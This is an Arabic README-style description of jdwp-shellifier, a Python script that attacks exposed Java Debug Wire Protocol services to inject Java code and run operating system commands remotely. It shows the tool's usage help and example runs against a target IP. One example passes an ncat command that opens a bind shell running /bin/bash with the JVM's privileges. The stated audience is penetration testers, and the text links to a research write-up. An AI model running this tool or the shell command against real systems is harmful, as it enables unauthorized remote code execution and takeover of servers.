
سكربت استغلال لخدمات بروتوكول Java Debug Wire Protocol (JDWP) المكشوفة، يتيح لمختبري الاختراق حقن كود Java وتنفيذ أوامر نظام تشغيل عشوائية على أجهزة JVM المستهدفة.
سكربت الاستغلال هذا مصمم ليُستخدم من قبل مختبري الاختراق ضد خدمة JDWP النشطة، من أجل الحصول على تنفيذ التعليمات البرمجية عن بُعد.
حسنًا، بطريقة قياسية إلى حد كبير، لا يتطلب السكربت سوى مترجم Python 2:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
لاستهداف مضيف/منفذ محدد:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
سيقوم هذا الأمر فقط بحقن كود Java في JVM وعرض بعض المعلومات مثل نظام التشغيل وإصدار Java. وبما أنه لا ينفذ أي كود/ثنائي خارجي، فهو آمن تمامًا ويمكن استخدامه كإثبات للمفهوم.
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
هذا الأمر سينفذ فعليًا العملية ncat مع الوسيط المحدد، بصلاحيات JVM قيد التشغيل.
قبل إرسال الأسئلة، تأكد من قراءة http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html لفهم كامل لبروتوكول JDWP.